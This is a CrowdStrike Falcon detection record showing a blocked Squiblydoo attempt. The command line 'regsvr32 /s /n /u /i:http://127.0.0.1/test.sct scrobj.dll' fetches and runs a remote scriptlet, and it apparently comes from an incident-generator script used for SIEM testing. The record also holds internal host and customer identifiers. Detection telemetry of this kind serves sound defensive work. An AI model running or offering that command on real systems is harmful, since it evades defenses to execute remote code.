Detection Details

{
  "metadata": {
    "customerIDString": "84393bf974fd44bda943a25a6a7bc27f",
    "offset": 157989,
    "eventType": "EppDetectionSummaryEvent",
    "eventCreationTime": 1766358159000,
    "version": "1.0"
  },
  "event": {
    "ProcessStartTime": 1766358097,
    "ProcessEndTime": 1766358097,
    "ProcessId": 27004899474,
    "ParentProcessId": 27003223373,
    "Hostname": "BOOK-R0BE6S1NC3",
    "UserName": "ubuntu",
    "Name": "Attacker Methodology",
    "Description": "A regsvr32 process appears to be related to a Squiblydoo attempt. Squiblydoo uses regsvr32 to pass a malicious script to scrobj.dll and registers a com object. Review the script passed to scrobj.dll on the command line.",
    "Severity": 70,
    "SeverityName": "High",
    "FileName": "regsvr32.exe",
    "FilePath": "\\Device\\HarddiskVolume3\\Windows\\System32\\regsvr32.exe",
    "CommandLine": "regsvr32  /s /n /u /i:http://127.0.0.1/test.sct scrobj.dll",
    "SHA256String": "f379c637eb2250f0cdae05918035a37f3fdf89d6b2ad897da235c5f603fe2a1e",
    "MD5String": "20b1bc4fd657b1cb8c8574b76a8c2534",
    "SHA1String": "0000000000000000000000000000000000000000",
    "LogonDomain": "BOOK-R0BE6S1NC3",
    "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/84393bf974fd44bda943a25a6a7bc27f:ind:024efd237c2d4f87958607652cb04c8b:27004899474-10191-3774480?_cid=g04000x7oomvbbtvcerklzeap3llo7ue",
    "AgentId": "024efd237c2d4f87958607652cb04c8b",
    "IOCType": "hash_sha256",
    "IOCValue": "f379c637eb2250f0cdae05918035a37f3fdf89d6b2ad897da235c5f603fe2a1e",
    "CompositeId": "84393bf974fd44bda943a25a6a7bc27f:ind:024efd237c2d4f87958607652cb04c8b:27004899474-10191-3774480",
    "LocalIP": "172.27.1.19",
    "MACAddress": "00-72-ee-3e-51-84",
    "Tactic": "Defense Evasion",
    "Technique": "Regsvr32",
    "Objective": "Keep Access",
    "PatternDispositionDescription": "Prevention, process was blocked from execution.",
    "PatternDispositionValue": 2048,
    "PatternDispositionFlags": {
      "Indicator": false,
      "Detect": false,
      "InddetMask": false,
      "SensorOnly": false,
      "Rooting": false,
      "KillProcess": false,
      "KillSubProcess": false,
      "QuarantineMachine": false,
      "QuarantineFile": false,
      "PolicyDisabled": false,
      "KillParent": false,
      "OperationBlocked": false,
      "ProcessBlocked": true,
      "RegistryOperationBlocked": false,
      "CriticalProcessDisabled": false,
      "BootupSafeguardEnabled": false,
      "FsOperationBlocked": false,
      "HandleOperationDowngraded": false,
      "KillActionFailed": false,
      "BlockingUnsupportedOrDisabled": false,
      "SuspendProcess": false,
      "SuspendParent": false,
      "ContainmentFileSystem": false
    },
    "ParentImageFileName": "cmd.exe",
    "ParentCommandLine": "C:\\windows\\system32\\cmd.exe /c \u0022regsvr32 /s /n /u /i:http://127.0.0.1/test.sct scrobj.dll\u0022",
    "GrandParentImageFileName": "python.exe",
    "GrandParentCommandLine": "\u0022C:\\app\\cortex-xdr-siem-test\\.venv\\Scripts\\python.exe\u0022  mega_incident_generator.py --rounds 2 --interval 30 ",
    "HostGroups": "4f5aa5f1cdc6441982cf5c58e4b5d75a",
    "AssociatedFile": "\\Device\\HarddiskVolume3\\Windows\\System32\\regsvr32.exe",
    "PatternId": 10191,
    "SourceVendors": "CrowdStrike",
    "SourceProducts": "Falcon Insight",
    "DataDomains": "Endpoint",
    "AggregateId": "aggind:024efd237c2d4f87958607652cb04c8b:17576755488",
    "Type": "ldt",
    "ParentImageFilePath": "\\Device\\HarddiskVolume3\\Windows\\System32\\cmd.exe",
    "GrandParentImageFilePath": "\\Device\\HarddiskVolume3\\Users\\ubuntu\\scoop\\apps\\python\\3.13.2\\python.exe",
    "LocalIPv6": "",
    "PlatformId": "0",
    "PlatformName": "Windows",
    "MitreAttack": [
      {
        "Tactic": "Defense Evasion",
        "TacticID": "TA0005",
        "Technique": "Regsvr32",
        "TechniqueID": "T1218.010",
        "PatternID": 10191
      }
    ],
    "CloudIndicator": false,
    "RiskScore": 49
  }
}